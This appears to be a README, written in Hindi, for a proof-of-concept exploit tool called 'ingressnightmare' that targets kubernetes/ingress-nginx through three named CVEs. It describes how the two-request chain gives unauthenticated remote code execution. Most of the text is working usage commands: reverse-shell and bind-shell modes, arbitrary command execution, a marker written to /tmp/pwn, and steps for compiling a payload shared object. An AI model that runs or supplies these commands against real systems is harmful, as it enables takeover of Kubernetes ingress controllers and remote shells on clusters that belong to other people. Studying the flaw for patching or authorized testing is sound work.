IngressNightmare POC। दुनिया का पहला नॉन-ब्लाइंड रिमोट एक्ज़ीक्यूशन एक्सप्लॉइटेशन, जिसमें कई उन्नत एक्सप्लॉइटेशन विधियाँ शामिल हैं। ऑन-डिस्क एक्सप्लॉइटेशन की अनुमति देता है। CVE-2025-24514 - auth-url injection, CVE-2025-1097 - auth-tls-match-cn injection, CVE-2025-1098 – mirror UID injection -- सभी उपलब्ध हैं।
यह भेद्यता दूरस्थ हमलावरों को kubernetes/ingress-nginx के प्रभावित इंस्टॉलेशन पर मनमाना कोड निष्पादित करने की अनुमति देती है। इस भेद्यता का शोषण करने के लिए प्रमाणीकरण की आवश्यकता नहीं है। विशिष्ट दोष HTTP अनुरोधों के प्रबंधन में मौजूद है।
यह दो अनुरोध भेजकर ट्रिगर होता है। एक उसी पॉड में NGINX सर्वर पर लंबा बफ़र्ड अनुरोध होता है, फिर nginx इसे अस्थायी फ़ाइल के रूप में कैश करेगा। दूसरा अनुरोध admission validating webhook सर्वर को भेजा जाता है, जो admission webhook को एक अस्थायी nginx कॉन्फ़िग लिखने के लिए ट्रिगर करेगा जिसमें ssl_engine badso_location; निर्देश होता है। फिर admission webhook कॉन्फ़िग की जाँच करने के लिए nginx -t चलाएगा, जो NGINX सर्वर के संदर्भ में दूरस्थ कोड निष्पादन को ट्रिगर करेगा।
# reverse shell
./ingressnightmare -m r -r ${ur_ip} -p ${port} -i ${INGRESS} -u ${UPLOADER}
# bind shell # maybe lost?
./ingressnightmare -m b -b ${port} -i ${INGRESS} -u ${UPLOADER}
# blind command execution
./ingressnightmare -m c -c 'date >> /tmp/pwn; echo eson pwn >> /tmp/pwn' -i ${INGRESS} -u ${UPLOADER}
# for CVE-2025-24514 - auth-url injection
# This is the default mode
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER} --is-auth-url
# same as
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER}
# for CVE-2025-1097 - auth-tls-match-cn injection,
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER} --is-match-cn --auth-secret-name ${secret_name}
# for CVE-2025-1098 – mirror UID injection -- all available
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER} --is-mirror-uid
## Advanced usage
# Send only admission request
./ingressnightmare -m c -i ${INGRESS} --only-admission --only-admission-file /tmp/evil.so # --is-auth-url # --is-match-cn # --is-mirror-uid ...
# Send only upload request loop
./ingressnightmare -m c -c "your command" -u ${UPLOADER} --only-upload
# dry run mode
## dry run to lookup payload so
./ingressnightmare -m c -c 'your command' -u ${UPLOADER} --dry-run
# dump with > /tmp/evil.so
## dry run to lookup raw nginx admission
./ingressnightmare -m c -i ${INGRESS} --only-admission --only-admission-file /tmp/evil.so --dry-run # --is-auth-url # --is-match-cn # --is-mirror-uid ...
## verbose mode
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER} -v # debug
./ingressnightmare -m c -c 'your command' -i ${INGRESS} -u ${UPLOADER} -vv # trace
./ingressnightmare -vv # -i ${INGRESS} -u ${UPLOADER} # -m c -c 'your command'
## if get error like Exec format error, that means the payload is not compatible with the target system.
## It maybe caused by the target system is arm64, but the payload is x86_64.
## Also the libc version and kernel version may cause this error.
## This exp Works on 5.10 kernel without libc.
## recompile c
./ingressnightmare show-c > exp.c
gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o danger.so exp.c -shared
./ingresnightmare -m c -c 'your command' --so ./danger.so -i ${INGRESS} -u ${UPLOADER}
एक्सप्लॉइट फ्लैग इतने जटिल हैं कि मुझे उन्हें कई समूहों में बाँटना पड़ा।
